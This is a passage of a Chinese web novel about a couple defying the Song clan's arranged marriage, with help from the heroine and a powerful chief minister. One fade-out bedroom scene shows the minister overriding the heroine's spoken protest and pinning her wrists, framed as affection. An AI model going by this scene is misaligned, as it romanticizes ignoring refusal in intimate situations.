他一会儿模仿师兄们摇头晃脑背书的呆样,一会儿学严厉的侯大人吹胡子瞪眼的滑稽相。 包袱一个接一个,连最不苟言笑的那几个古板学子,都忍不住疯狂抽搐嘴角,最后破功笑出声来。 令颐看着大家轻松的氛围,开心笑了起来。 她对李友仁竖了竖大拇指:“李郎君,还是你厉害。” 李友仁把头一扬:“小菜一碟。” 要不是正被颜先生罚抄了那么多次,他哪能掌握这么多精髓? * 同文馆恢复了往日的生气勃勃。 就在这微妙的平衡刚刚建立不久,一日,一个学子跌跌撞撞地冲进学堂,脸色煞白。 他扶着门框,气喘吁吁,声音都变了调:“出大事了!出大事了!” 众人纷纷看过来:“怎么了张郎君?” 学堂内,除了李友仁,数他消息最灵通。 “你们不知道啊,刚、刚听我爹说,宋家要联姻了!要宋师兄娶娶平阳郡主呢!” “什么?!” “平阳郡主?!” “宋家这是要……” 一石激起千层浪!整个同文馆瞬间炸开了锅! 议论声、惊呼声、拍案声交织在一起,刚刚恢复的平静被彻底粉碎。 众人目光复杂看向令颐的方向。 令颐听到这个消息,只觉得脑袋“嗡”的一声,像被重锤敲了一下。 张郎君赶紧对她道:“令姑娘,得想个办法啊。” 令颐腾地一下站起来:“我、我去找祝师姐!” 说罢,令颐提裙一阵风般跑出了门,坐马车直奔祝府。 祝颂然听到此事后,原本正执笔写字的手骤然僵在半空。 一滴浓墨“啪嗒”一声落在宣纸上,迅速晕开一片黑色。 她的脸褪尽血色,变得比纸还白,只有嘴唇在微微颤抖。 令颐的心揪成一团,她像只受惊的小兔子,“嗖”地一下冲到祝颂然身边,一把抓住她冰凉的手。 “师姐!快!我们……” 她几乎要脱口而出“我们去找哥哥想办法”。 但脑海中瞬间闪过颜彻那日的话语。 那日,她问哥哥,为何不能直接要求宋家解除婚约。 颜彻告诉她:“不,令颐,在这件事上,我们绝不能如此行事。” “为何?以哥哥的权势地位完全可以做到,这样师姐和师兄不是就不用受苦了吗?” 颜彻只是笑着摇头。 “感情之事最是纤尘不染,也最是脆弱。沾了权势,纵使一时得偿所愿,那情意本身,也终将失了本真,甚至生出怨怼。” “此局,须得他们自己破茧,旁人插手,只会适得其反。” 他意味深长道:“这是他们自己的考验。” 哥哥的教导让她硬生生把冲到嘴边的话咽了回去。 她急得眼圈都红了,却只能用力攥紧祝颂然的手,用眼神传递着无声的焦灼。 时间在令人窒息的沉默中流淌。 祝颂然死死盯着纸上那团化不开的墨迹,眼神空洞又挣扎,仿佛在进行一场无声的战争。 终于,她猛地抬起头,眼中爆发出孤注一掷的决绝光芒。 “令颐,带我去宋家。” “我要见他。” “师姐!”令颐的眼泪“吧嗒”掉了下来。 不是悲伤,而是巨大的惊喜和如释重负。 “你终于决定了,太好了!我们走,现在就走!” 她拉着祝颂然就往外跑,仿佛身后有猛兽追赶。 马车卷起烟尘,疾驰奔向宋府。 宋府大门紧闭,令颐道:“师姐,我知道有一处小门,说不定没有人看管。” 这是她一次偶然的机会得知,没想到这时派上了用场。 颜彻在朝廷上暗中或施压,此刻宋府能主事的人皆被琐事缠身,守卫也松懈许多。 两人几乎一路畅通无阻,径直来到了宋嘉策的院落。 紧闭的房门被推开,熟悉的身影出现在她们的视线中。 宋嘉策猛地从书案后站起,手中的笔“啪”地掉落在地,墨汁溅污了衣角也浑然不觉。 眼中是震惊,是狂喜,还有不敢置信的光芒。 祝颂然站在门口,身体微微颤抖。 方才一路上的孤勇仿佛在这一刻被抽走,只剩下满腹的委屈,思念。 千言万语堵在喉间,最终只化作一声带着哽咽的轻唤:“羡文……” 时间仿佛在这一刻静止了。 所有的压抑、痛苦、挣扎和汹涌的情感,都在这一眼中找到了宣泄的出口。 两人眼里都有了泪花,令颐见状,小声急道:“师姐,师兄,时间不多,快说正事要紧!” 说罢,她立刻懂事地退了出去,并轻轻带上了门。 紧闭的房门内,宋嘉策与祝颂然四目相对,千般委屈、万种情愫。 无需过多言语,心意早已相通。 两人紧紧握住彼此的手,目光交汇处是磐石般的决心。 “师姐,你决定好了吗?” 宋嘉策笑着看向她,眼里是劫后余生般的珍重。 “嗯。” 祝颂然抬起泪光未干的眼,重重点头。 唇角漾开一个带着泪意的笑:“逃得够久了,再逃,我怕有人找我哭。” 宋嘉策心头一热,指腹轻轻擦去她眼下湿痕。 “那你可要负责到底。记得某人曾放话,若我变心,就要取我项上人头?” 他微微俯身,带着不羁又认真的笑意,“我这条命,可一直为你留着呢。” 祝颂然故意板起脸:“少贫嘴!那你呢?宋大公子,不怕你爹把你扫地出门,不认你这个儿子?” 宋嘉策耸耸肩,将她拥得更紧。 “老头子总说家里有我没我都一样,若没法娶你,这冰冷的门庭怎比得上我心之所向?有你,才有家。” 门外,令颐手心沁汗。 待屋内隐隐传来坚定话语与师姐的最终抉择,她悬着的心重重落下,几乎要雀跃低呼。 “成了!师姐和羡文师兄要联手了!” 激动得仿佛要自己奔赴战场。 祝颂然推门而出,眼眶微红,眉宇间长久郁结却一扫而空,唯余豁然清亮与一丝不易察觉的甜蜜。 令颐如小鸟般扑上,紧紧挽住她的手臂。 宋嘉策交代道:“令颐,替我照顾好你师姐。” “放心吧师兄!” 事不宜迟,两人迅速离开了宋府。 方才的激动稍稍平复,令颐看着师姐沉静的侧脸,心底那点残留的后怕又悄悄冒了出来。 她挪了挪身子,凑近祝颂然,眼睛里盛满了担忧:“师姐,你怕不怕呀?” 她想象着宋家可能的雷霆之怒,小脸都皱了起来。 祝颂然闻言,转过头来。 昏黄的车灯光晕下,她的脸庞显得格外沉静。 她没有立刻回答,只是嘴角极其缓慢地向上牵起一个弧度,有一种淬过火般的从容与傲然。 “傻丫头。” 她伸出手,轻轻拍了拍令颐紧抓着自己衣袖的小手,语气平淡,却字字千钧。 “当年我敢一纸休书甩在那负心汉脸上,敢顶着族中唾骂、宗祠威压,从一群虎视眈眈的族老手里把属于我的家产一分不少地争回来。那般火中取栗的日子都闯过来了。如今为了羡文,为了我自己选的路,这点风浪,算得了什么?” 她眼中掠过一丝锐利的锋芒,随即又化作一片温柔的暖意。 她看着眼前为自己忧心忡忡的小师妹:“放心吧,师姐我从来就不是被吓大的。” “嗯嗯,师姐最厉害了!” 她用力地点点头,小脸上重新绽放出信赖的笑容,将师姐的胳膊挽得 更紧了。 第63章 第63章“今晚的枕头风吹得不错…… 当晚,明兰院。 令颐趴在柔软的床褥间,手肘支着脑袋,玩着自己的头发。 师兄和师姐的事仍在脑海中翻腾不休,搅得她心绪难宁。 门扉无声地推开,带进一缕冷松香的气息。 颜彻的身影出现在门边,步履沉稳地走近。 他上了床,挨着令颐躺下。 “听说你今日去了宋府,可有见到你的师兄?” 令颐侧过脸,对上他温柔的眼神。 “嗯,见到了,我特意带着师姐一同去的。” “今日听说师兄要定亲了,我感觉这就是哥哥说的那个,推动他们的时机。” 她将两人的情况大致说了一下,包括两人心意相通,决定一起面对宋家人。 颜彻静静听着,手指随意搭在膝上,指节泛着温润如玉的光泽。 “嗯,那便看他们自己的造化了。”他淡淡回道。 “哥哥,我这次有好好听你的话。” 令颐邀功一般扬起小脸:“这次我忍住了,让他们自己做决定!我没有冲动!” “乖。” 颜彻的声音里渗入一丝带着温度的笑意。 他伸出手臂,将她揽入怀中。 令颐自然地依偎过去,脸颊贴上他冰凉滑顺的衣料。 他的声音贴着耳廓响起:“哥哥很希望,若将来,你与你心仪之人也陷入这般境地,你们也能如此并肩而立。” “这也是,哥哥教你的功课之一。” 令颐有些怔住。 他的话语,既指向某个模糊的心仪之人,又仿佛在描摹此刻紧密相贴的彼此。 她分不清哥哥在教导她,还是在期许她与燕珩。 这是哥哥之前没有教过的东西。 她将脸颊贴在颜彻胸膛:“哥哥,感情这门功课,重要的不是那些技巧是么?” “如何爱一个人,这才是哥哥想教给我的。” 颜彻温柔摸了摸她的头:“聪明的姑娘。” “感情不只是如何肌肤相贴,若你领悟到这一点,我所能教的已经不多了。” 令颐听着他这番话,不知为何,心里忽然有些发酸。 是一种,很想哭的感觉。 她忍着没有哭,一点点抱紧了哥哥,将自己脑袋埋了下去。 可就在这时,那只原本只是虚环在她腰侧的手,开始有了动作。 修长的手指沿着她腰际的曲线缓缓向上游移,隔着寝衣,研磨她肌肤下细微的颤栗。 动作缓慢而优雅,带着解剖刀般的精准。 “呀!” 令颐惊喘出声,像受惊的小动物猛地一缩,试图抓住那只作乱的手。 “哥哥!你方才不是说,不只是肌肤相贴吗?” 颜彻并没有因此停手,反而抓住她推拒的手。 单薄的寝衣抵挡不住他炙热的掌心。 “我是这么说。” “但是妹妹,肌肤相贴本身,也是不可或缺的重要途径。” 他攥住她的手腕,轻而易举扣在头顶。 …… 温热的水汽尚未完全散去,氤氲在室内。 颜彻抱着裹在柔软巾帕里的令颐,细致地为她擦拭着湿漉漉的长发。 令颐脸蛋红扑扑的,如同熟透的水蜜桃,羞涩地埋在他怀里。 “多少回了,还这么害羞啊?” 颜彻垂眸看着她这副娇态,喉结滚动了下。 他拿毛巾捧住她滚烫的脸,俯首,唇瓣轻轻落在她的眉心、眼帘、鼻尖。 “呜……” 令颐羞得不行,捂着自己更烫的脸颊,直往他怀里钻。 额头抵着他坚实的胸膛:“哥哥……最近那个,证据,越来越明显了……每次都要洗好几回……” 而且,自从段大夫来了府上之后,哥哥的花样更多了。 不行,这个段大夫太可怕了,她要找机会让赵管家罚他呜呜呜! 颜彻抱住她安抚:“无妨,情之所至,自然流露,很正常。” 他轻轻抚着她的背,哄道:“乖,哥哥给你一样东西。” 令颐闻言大惊,以为他又要塞给她…… 她疯狂摇头,满是抗拒:“不要了哥哥!我、我不要了!” 颜彻低笑出声:“傻丫头,不是你想的那样。” 他松开她一些,从怀中取出一物。 一枚通体玄黑的令牌静静躺在他掌心,繁复威严的龙纹在烛光下流转着幽冷的光泽。 他将令牌放入她手心:“见此令,如见我本人。日后若遇急事,哪怕是深夜宫禁皆可畅通无阻。” “你和你师姐来日或许用得上。” 令颐震惊地看着掌中这枚代表着滔天权势的令牌,嘴一点点张大。 “哥哥,这么贵重的东西,就……就给我了?!” “算不上什么贵重,你既需要,就放在你哪里。” 令颐看着近在咫尺的俊颜,感受着手里令牌沉甸甸的分量。 她握紧了那枚冰冷的令牌,抱住哥哥的脖子:“嗯嗯,谢谢哥哥!” 谁知,颜彻微笑来了句:“不用谢我,毕竟,妹妹方才的枕头风吹的不错。” 令颐的脸又烫了起来,不依不挠,作势要打他,颜彻便笑着作罢,不再逗她了。 * 几日后,宋府。 沉檀木的厚重气息弥漫在雕梁画栋的正厅里,宋家家主宋世荣端坐主座上,神色严肃。 “今日召集诸位,是为商议我宋家与平阳王府结亲之事。” 话音甫落,几位须发花白的长辈便捻着胡须,纷纷颔首附和。 一位辈分最高的老者缓声道:“宋老家主英明,平阳王位高权重,其郡主身份尊贵,与我宋家可谓门当户对,实乃天作之合啊。” 另一人接口,语气是世家特有的矜持:“正是,我宋家虽非皇亲国戚,然自大周开朝以来,累世簪缨,出过数位宰辅,声名显赫。此番与王府联姻,亦是门楣生辉,相得益彰。” 众人你一言我一语,皆是称赞家主宋世荣这步棋走得高明。 然而,在一片称颂声中,有人敏锐地察觉到了主座旁宋老夫人眉宇间挥之不去的忧色,以及家主宋世荣那紧绷如弦的神情。 一位族叔迟疑着开口问道:“此乃大喜之事,听闻平阳王那边亦甚为中意,只是,看老家主与夫人神色,似乎另有隐忧?” 宋老夫人指尖无意识地拨动着腕间的佛珠,发出一声轻叹。 “唉,诸位有所不知,这门亲事自然是极好的。只可惜我那孙儿羡文,这孩子的心思全然不在这头。” 宋世荣本就铁青的脸色,在听到母亲提及那个不省心的儿子时,更是阴沉得能滴出水。 他猛地一挥手,沉声斥道:“哼,休要再提那孽障!只盼他这次能给我安分些,莫要再节外生枝,丢尽我宋家颜面!” 众人不知个中缘故,听两人这么说,皆是一头雾水。 一旁有人连忙劝解:“家主息怒,羡文这孩子此时求见,说不定是想通了?不妨见上一见?” 宋老夫人也开口道:“是啊,让小六进来吧。” 宋世荣冷哼一声,算是默许。 片刻,宋嘉策的身影出现在厅门口。 他径直走到厅中,在父亲冰冷的目光注视下,“咚”的一声,双膝重重跪地。 众人正不解其意,却听他抬起头,声音清晰而坚定地响起。 “父亲,母亲,诸位长辈。羡文此来,是为禀明心意。” “孩儿不能娶平阳郡主,恳请长辈们收回与王府的结亲之诚!” 与此同时,宋府大门外。 一辆马车悄然停下,令颐扶着祝颂然下了车。 “师姐,别怕!” 她紧紧握住祝颂然微凉的手:“我们进去,我答应过师兄,一定要把你送到他身边!” “嗯。”祝颂然笑着看向她,转头看向威严的宋府大门。 她,不会退缩。 两人走向大门,果然被守卫拦住。 “站住!宋府重地,闲人勿近!” 令颐毫不犹豫地从怀中掏出一物:“何人敢拦!” 她高高举起玄黑令牌,上面繁复的龙纹在日光下熠熠闪烁。 那是,皇族权威的象征。 守卫中有人眼尖识出此物,瞬间脸色大变,慌忙躬身让开。 “贵、贵人请!快放行!” 令颐收起令牌,拉着祝颂然,昂首挺胸踏入了宋府大门。 厅内,宋嘉策的宣言如同平地惊雷,瞬间点燃了众人的火焰。 “逆子!你竟敢说出如此大逆不道之言!” 宋世荣拍案而起,怒不可遏。 “六弟,你疯了 不成!” “羡文,快住口!莫要糊涂啊!” 斥责、劝阻、惊疑的声音如同潮水般涌向跪在地上的宋嘉策。 就在这混乱的顶点,一道清亮的女声穿透了嘈杂,清晰地响彻在每个人耳边。 “且慢!” 众人循声猛地望向门口。 只见祝颂然的身影,在满堂惊愕的目光中,一步一步,坚定地走了进来。 令颐躲在门后,紧张看着师姐,心里默默为两人祈祷。 瞬间,惊疑的低语如同沸水般在厅堂内涌动。 “这、这是谁家女子?怎会在此刻闯入?” 当宋世荣看清这个女子的面容时,脸色霎时由青转红,眼中几乎要喷出火来! 宋嘉策将脊梁挺得笔直,迎向主位上父亲几乎要将他吞噬的眼神。 “父亲,母亲,诸位长辈,兄长。我心悦颂然,此生非她不娶!” 声音清晰而坚定,响彻整个厅堂。 他话音方落,祝颂然立刻向前半步,与他并肩而立。 女子清亮的声音掷地有声:“伯父伯母,我心亦然,非嘉策不嫁!” “逆子——你给我住口!!!” 宋世荣的怒吼如同惊雷炸响,猛地一掌拍在案几上。 “砰”的一声巨响,茶盏叮叮当当滚落在地,碎瓷与滚烫的茶水四溅! 他胸膛剧烈起伏,指着宋嘉策的手指因极致的愤怒而颤抖。 “你还有脸说出这等大逆不道之言?你不喜科举,厌弃仕途,为父可曾强逼于你?你要进那劳什子的同文馆,学那些离经叛道的言论,宋家可曾说过半个不字?宋家待你已是仁至义尽!” “如今你竟为了这么一个女子,忤逆父母,罔顾家族门楣!这就是你读的圣贤书?这就是你的孝道?你说,你为宋家立过何功,做过何贡献?你凭什么在此大放厥词?!” 怒吼声如雷霆,震得房梁颤抖。 第64章 第64章绝不会放手 宋嘉策的几个兄长万分着急,纷纷抢上前来,七嘴八舌地劝阻。 “六弟你糊涂啊!为一个女子,值得与整个家族决裂吗?!” “快跪下向父亲认错!莫要一意孤行,自毁前程啊!” “想想你的身份!想想宋家的百年清誉!” 宋家的几位女眷也不闲着,矛头转向了祝颂然。 “祝姑娘,你好歹也是正经的闺秀小姐,在同文馆那等地方与男子厮混已是伤风败俗,如今竟还想攀附我宋家高枝?” “哼,也不知用了什么狐媚手段,将我家的孩子迷得神魂颠倒,连祖宗家法都不顾了!” “一个不清不白整日抛头露面的女子,也配踏进我宋家的门楣?简直辱没门风,玷污祖宗!” 夹杂着“破鞋”、“贱人”等不堪入耳的污言秽语,朝祝颂然兜头泼下。 祝颂然的脸褪去血色,变得纸一般苍白,紧握在身侧的手控制不住地微微颤抖。 她侧头看向身边同样承受着千钧重压的宋嘉策,看着他紧绷的下颌线和眼中压抑的痛楚。 一丝巨大的迷茫缠绕上她心尖。 她爱他,她一直都知道。 可她真的想他为了自己,成为家族的罪人,背负世人的骂名吗? 她心神剧震,几乎要被那门第偏见的重压碾碎脊梁。 就在这时,一只温热小手握住了她冰凉颤抖的手指。 是令颐。 她不知何时穿过了人群,站到了她的身侧。 “这、这又是何人?!” “哪来的野丫头?竟敢擅闯我宋府正厅!” 当令颐发现自己一时冲动就进来的时候,整个后背都在落汗。 看着满屋的凶神恶煞,她吓得眼眶泛泪。 她好像闯进了一个不得了的地方!这些人看起来好可怕啊啊啊! 然而,目光触及身边摇摇欲坠的祝师姐,再看到前方跪在地上的师兄。 一股“豁出去了”的勇气猛地从心底蹿了上来! 为了师兄师姐!她不能怕! “我,我是宋师兄和祝师姐的师妹!” 稚嫩又带着点颤音的宣告,引来一阵嗤笑和不屑。 “师妹?呵,又是一个不知天高地厚伤风败俗的野丫头!” “放肆!我宋府正厅,岂是你们这等不知规矩的小辈能随意闯入的地方?还不快滚出去!” 令颐吓得小脸更白了,身体也瑟缩了一下。 她不能退!绝对不能! 一股不服输的劲儿冲上脑门,令颐猛地又向前踏了一小步。 “你们才放肆!同文馆是先帝御笔亲提的学馆!是首辅大人亲自开创的!里面教的都是济世安邦的真学问!” 她的小手激动地指向身边的祝颂然,充满了骄傲。 “我祝师姐,是堂堂正正的同文馆大师姐!是凭真才实学、受所有学子尊敬的!她行得正坐得直,才不是什么伤风败俗的人,你们不能这样污蔑她!” 她的小胸脯剧烈起伏着,脸颊因为激动而涨得通红。 这番掷地有声的辩驳,从一个看起来如此稚嫩的小女孩口中喊出,带着一种奇异的震撼力,竟让满厅斥责声凝滞的一瞬。 祝颂然和宋嘉策也惊讶看着自家小师妹。 在他们眼里,令颐是个一点小事就哭鼻子的小姑娘,是个娇滴滴需要他们保护的小师妹。 而如今,她站在他们前面,用自己单薄的身躯在保护他们。 “师姐。” 小姑娘清澈的眼眸里没有丝毫杂质,坚定看向祝颂然。 “先生教过我们,‘死生契阔,与子成说。执子之手,与子偕老。’真正的喜欢不就是这样吗?无论生死离合,都要信守彼此的承诺,紧紧握住对方的手,一起走到白头。” “师兄为了你,敢站在这里,面对所有人的怒火,而你为了他,也承受了这么多难听的话。你们都在为对方努力,为对方变得勇敢,这难道不是世间最最珍贵的心意吗?” 令颐用力握紧了她的手,仿佛要将自己的勇气传递过去。 “姐姐,别听他们胡说!你的好,羡文师兄心里最清楚!我们知道,我哥哥知道,你自己更应该知道!” “你如果现在退缩了,那些真正想拆散你们、想看你们笑话的人就得逞了!师兄今天的坚持又算什么?不要怕师姐,你们的情意干干净净,堂堂正正,值得被尊重!” 这番话语,如同穿透厚重阴云的晨曦,又似敲碎坚冰的重锤,瞬间注入了祝颂然几乎枯竭的心田。 令颐娇嫩的声音,点燃了她内心深处被狂风暴雨浇熄的火。 祝颂然眼中的迷茫与动摇如潮水般褪去。 她深深地、深深地吸了一口气。 “谢谢你令颐,我知道了。” 她转向宋嘉策,看到他眼里同样的坚定和温柔。 足够了。 祝颂然迎向那些充满恶意与鄙夷的视线,清晰有力的声音响彻整个大厅。 “宋伯父,诸位宋家长辈。我祝颂然,行得正,坐得直,我对羡文之心,天地可昭,日月可鉴!” “在同文馆求学,凭的是十年寒窗苦读的真才实学,非是攀附谁的门径。你们口中那些污言秽语,伤不了我祝颂然半分清白。它们唯一的作用,只是暴露了说话者内心的狭隘与刻薄!” 她直视之前嘲讽同文馆的那几个人,他们神色讪讪低下了头。 祝颂然继续道:“我与羡文,两情相悦,发乎情,止乎礼,不偷不抢,何错之有?宋家执意以门第之见,拆散真心相许的有情之人,此事若传扬出去,恐怕有损宋家百年诗书传家的清誉美名!” 她的话语, 字字铿锵,句句如刀,带着不容置疑的尊严和力量,竟一时间让满厅那些习惯了高高在上的宋家众人哑口无言。 空气中弥漫着一种难堪的寂静。 宋世荣怒极反笑,不屑地冷哼了一声。 “好一番慷慨陈词!你们以为自己是谁?以为凭你们两人这点微末情意,就能打破这千年门第之见?就能撼动这世道人心?真是痴心妄想!” 他目光钉在宋嘉策身上,声音冰冷刺骨:“羡文,你口口声声情意,声声句句坚持,那我问你,你凭什么?宋家凭什么要为一个离经叛道的你,去赌上百年清誉,去对抗整个世俗?你有什么资本值得家族为你付出如此代价?” 厅内气氛再次剑拔弩张,僵持不下。 就在这令人窒息的关口,门口传来小厮通报的声音。 “颜大人到——” 颜彻一身素净的青袍,缓步踏入这剑拔弩张之地。 他神情平静无波,目光淡然扫过全场,一股令人屏息的威仪弥漫开来,瞬间将厅内汹涌的戾气压了下去。 满厅人慌忙不迭地躬身行礼,动作间带着难以掩饰的惶恐与敬畏,连呼吸都放得极轻。 只有令颐呆呆地站着,惊讶看着哥哥,眼里又惊又喜。 用眼神问他:“哥哥你怎么来了!” 颜彻朝她微微一笑,仿佛在说:“你在这里,我自然要来。” 宋世荣正处于怒火攻心的顶点,骤然被打断,胸中郁气翻腾不休。 他脸色依旧铁青,冷冷开口:“颜大人日理万机,今日怎会纡尊降贵,驾临我宋家这小小府邸?” 颜彻并未在意宋世荣话中的刺,慢条斯理道:“本官今日来,是向宋大人要一个人。” “哦?不知我府上何人值得首辅大人亲自前来?” 颜彻道:“春闱在即,正是朝廷用人之时。令郎宋嘉策,在同文馆表现卓异,才思敏捷,于儒学之道颇有见地。” “本官主持的科举改制,正需要此等博学多才又通晓新学的人才襄助。不知宋公可否割爱,让羡文随我历练?” 厅内宋家人更是面面相觑,眼神中充满了难以置信和巨大的震动。 低低的议论声再也压抑不住。 “颜首辅……亲自开口要人?” “这可是天大的机缘啊!” “跟着首辅大人,这前程怕是再也不用发愁了!” 宋嘉策敏锐地捕捉到了父亲眼中的松动。 他毫不犹豫一步上前,对着主位上的父亲重重跪下! “父亲,儿子不肖,过去顽劣不堪,不思进取,厌恶科举,实乃大不孝。辜负了您的期望,也愧对宋家列祖列宗。” “但今日,儿子在此立誓,为了颂然,为了能与她堂堂正正、光明正大地站在一起,儿子愿意改,愿意从头来过!” “儿子愿追随颜大人,发奋苦读,悬梁刺股,必以真才实学证明自己,不坠先生教导之恩,更不负宋家门楣荣光,恳请父亲,成全儿子这一次!” 此时的宋嘉策,与往日那个放浪不羁的公子哥判若两人。 所有的目光,或复杂、或审视、或期待、或犹疑,聚焦在宋世荣的脸上。 宋老爷的目光紧紧锁住跪在地上的儿子。 “好一个从头来过!离春闱不过短短三月,宋嘉策,你拿什么保证?你凭什么认为,你这临时抱佛脚,就一定能金榜题名?若是不中,你又当如何?岂不是让宋家和你自己沦为更大的笑柄?” 宋嘉策猛地抬起头,直视父亲眼中那毫不掩饰的质疑与沉重压力。 他眼中没有丝毫闪躲,字字如铁:“父亲,儿子不敢妄言必中,但儿子敢以性命起誓,从此刻起,这三月,儿子眼中再无昼夜之分,书本为榻,笔墨为食!先生之教,字字刻骨!先祖之训,句句铭心!” “此志,天地共鉴,若侥幸得中,求父亲成全儿子与颂然,若不能竭尽全力,以命相搏,儿子甘愿受家法严惩,自请出族,绝不辱没宋家门楣!” 他重重地磕下头去,额头撞击在冰凉坚硬的金砖地面上,发出一声沉闷的钝响。 宋世荣闭了闭眼。 短暂的沉默过后,他睁开眼,脸上只剩下深沉的疲惫。 他几不可闻地叹出一口气:“……罢了。” “太好啦!!” 令颐第一个欢呼出声,像手忙脚乱地去搀扶地上的宋嘉策和祝颂然。 “师姐!师兄!快起来呀!” 她扶起两人,转头看向颜彻,杏眼里盛满了崇拜和感激:“哥哥!太好了!哥哥最厉害了!” 颜彻迎着她灿烂的笑靥,眼底的寒冰瞬间融化,化作一片宠溺的柔光。 坐在主位上的宋世荣,看着眼前这皆大欢喜的一幕,又看着面含微笑的颜彻,目光越发意味深长。 宋家乃百年簪缨世族,根基深厚,对于颜彻推行的那些离经叛道的所谓新政,向来秉持中立,甚至有些抵触。 而此人,先是将其子宋嘉策引入同文馆,潜移默化,如今,更借由这桩棘手的婚事,顺水推舟,将宋嘉策彻底纳入其羽翼之下,名正言顺地置于身侧。 若此事当真成了,宋嘉策的前程便系于颜彻之手,宋家便再也不能独善其身了。 此人心术之深,布局之远,手段之高明,实在令人心惊。 宋世荣胸中虽有万般不甘,却已是无可奈何。 第65章 第65章“房事过猛了” 宋嘉策和祝颂然的事顺利解决后,宋嘉策搬到了别处,专心准备春闱。 这日,他回到同文馆收拾些随身之物,也顺便与众人道别。 令颐看着他忙碌的身影,小脸上写满了担忧。 “师兄你真的可以吗?我之前看哥哥考科举觉得好像很轻松,可后来问了好多人,他们说这个考试很难的,跟同文馆的考试完全不一样。” 宋嘉策捏住她软乎乎的脸:“小丫头,这就瞧不起你师兄了?” 令颐疼得龇牙咧嘴,嗔怒道:“师兄,捏疼我了!” 宋嘉策笑着松了手,令颐赶紧捂住脸,气鼓鼓地瞪着他。 宋嘉策道:“可别小看你师兄,你师兄我那叫深藏不露,平时是怕你们这些小家伙见了自惭形秽,才故意收着点儿的。” 令颐“噢”了一声,将信将疑。 “不管怎么说,师兄你一定要好好考,考个大大的功名回来,可不能辜负了师姐的期望。” 宋嘉策失笑:“人小鬼大,这还用你叮嘱?” 令颐低下头,忸怩了一下。 “师兄……其实,那个……” 宋嘉策:“嗯?” 令颐小脸微红:“我觉得那天你在宋家说的那些话,特别像个顶天立地的男子汉!” “真的,你在我心里的形象一下子变得好高大好可靠!” 宋嘉策挑眉,故意逗她:“哦?这么说,以前在你眼里师兄就不高大,不可靠了?” 令颐不服气仰起头:“那,跟哥哥比还是差那么一点点嘛。” “小没良心的!” 宋嘉策作势又要捏她,令颐笑着赶紧躲开。 她指了指里面:“别闹了师兄,师姐就在她房里呢,你快去吧,你们一定有好多话要说。” 宋嘉策笑着说好,踏入房间。 过了一会,他从里面走出。 令颐不知他们说了什么,只觉得师兄的目光变得很温柔。 他看着她,语气难得温和:“好了,这一别,可要好些日子见不着你这个小丫头了,可别太想你师兄我啊。” “师兄放心,我保证把师姐照顾得白白胖胖的!” 两人道别后,令颐目送他走远,转身进了祝颂然的房间。 她挪着小步往里看,小心翼翼观察祝师姐的情绪。 祝颂然看到她这副模样,笑问:“怎么鬼鬼祟祟的,怕师姐吃了你不成?” “师姐,我以为你会偷偷抹泪呢。” 她本以为师姐会因离别而愁绪满怀,连安慰的话都想好了。 祝颂然放下手中的书卷,看向令颐,目光温婉平和。 “为何会这么想?” 她挨着祝颂然坐下:“因为,令颐喜欢一个人,肯定恨不得天天黏在一起才好。要是像师兄这样一走就是几个月见不到,我肯定会哭鼻子的。” 祝颂然笑着摇了摇头。 “令颐,有时候,短暂的分别,是为了日后更好的相见。” “就像你和燕小侯爷一样,纵使相隔千里万里,只要彼此心意相通,彼此牵挂,两颗心便会紧紧牵连。 “只要心意是近的,纵有千山万水相隔,又有何妨呢?” 心意相通? 令颐猛地怔住了,脸上的笑容也凝固了。 燕珩,这个名字仿佛从记忆的角落里被硬生生拽了出来。 是啊,燕珩,她名义上的未婚夫。 可不知从何时起,她似乎很少想起他了。 她的心里,似乎早已被另一个人填得满满的,几乎再容不下其他。 一种强烈的违和感与巨大的迷茫袭来,她的心口仿佛被一团迷雾塞住,又闷又慌。 那是什么? 那份几乎要溢出来的情感……到底是什么? 巨大的疑惑压在她心里,可她想不明白。 * 正月,京师下了场大雪。 金銮殿前积雪未化,官员们拾阶而上,压低声音议论着近日朝中风波。 一官员搓着手,叹气道:“唉,颜首辅这新政,追索权力滥用,严查侵占民田,这数月下来,可是实打实地动了不少人的利益啊!” “谁说不是呢?只盼着他点到为止吧,这要是真深挖下去,牵连太广,怕是连带着朝堂都要不稳啊!” 忧心忡忡的话化为白蒙蒙的哈气。 他们步入肃穆的金殿,心头的不安化作了冰冷的预感。 御座之下,颜彻一袭绯红官袍,身姿如松。 他手持奏疏,向垂帘后的幼帝和太皇太后禀报那几桩要案的最终处置结果。 当那几个名字被清晰念出,尤其是前任首辅杨连昌也赫然在列时,整个金殿一片哗然。 方才还心存侥幸的官员们,脸色瞬间煞白。 这哪里是点到为止?这分明是赶尽杀绝! 颜大人竟真的毫无收手之意,连自己的恩师都处置得毫不留情? 一位老臣再也按捺不住,颤巍巍地出列。 “陛下,太皇太后,若依照颜大人所说这般处置,只怕牵连甚光。而且杨老于国于民功勋卓著,实在不可这般处置啊!” 他转向颜彻:“元辅大人,杨阁老他可是对你有着再造之恩啊!当年若非杨阁老力排众议,破格擢升,元辅大人怎会有今日的地位?” 他神情越发激愤,声音痛心疾首。 所有的目光瞬间聚焦御阶之下那道绯红身影,等待他的回应。 只见他缓缓侧身,面向那位激愤的老臣。 脸上依旧平静无波,透着一股令人心寒的嘲弄。 “杜大人此言差矣。” 他目光扫过殿内众人惊疑不定的脸。 “本官今日所禀,皆是依律论罪,证据确凿。法理纲常,乃国之基石,岂容私情掺杂?” 他的目光刺向那位老臣:“倒是李大人,如此义愤填膺,慷慨陈词,莫非是感同身受,兔死狐悲了?抑或您与杨阁老之间,尚有些不足为外人道的深厚情谊,亦在律法纲常之外?” “颜浔之!你简直冷血无情,忘恩负义!” 另一名与杨连昌交好的官员再也按捺不住,指着颜彻厉声怒骂,气得浑身发抖。 颜彻甚至未正眼看他,薄唇轻启,声音是近乎优雅的嘲弄。 “王子犯法,当与庶民同罪。无论何人涉案,依法论处。” 那官员被他这轻描淡写的话一激,“噗”地一声,当殿喷出一口鲜血,直挺挺向后倒去! 殿内顿时一片混乱。 御座之上,垂帘之后的太皇太后指尖微颤,终究不敢出声。 年幼的皇帝更是懵懂,只睁着茫然的眼睛看着下方。 颜彻却恍若未闻身后的混乱与无数道或怨毒、或惊惧、或忌惮的目光,姿态从容地整了整一丝不苟的袍袖,对着御座方向微一躬身。 “陛下,太皇太后,若无他事,臣告退。” 声音依旧平稳,听不出半分波澜。 他不疾不徐地踏出金殿,绯红官袍在肃杀的雪光中显得格外孤高。 也格外,令人胆寒。 …… 颜府,明兰院。 炭火融融,驱散了外间的寒意。 段大夫正坐在榻边,三指搭在令颐纤细的手腕上,凝神诊脉。 入冬以来,令颐偶染风寒,虽好得快,但总让人觉得有些恹恹的。 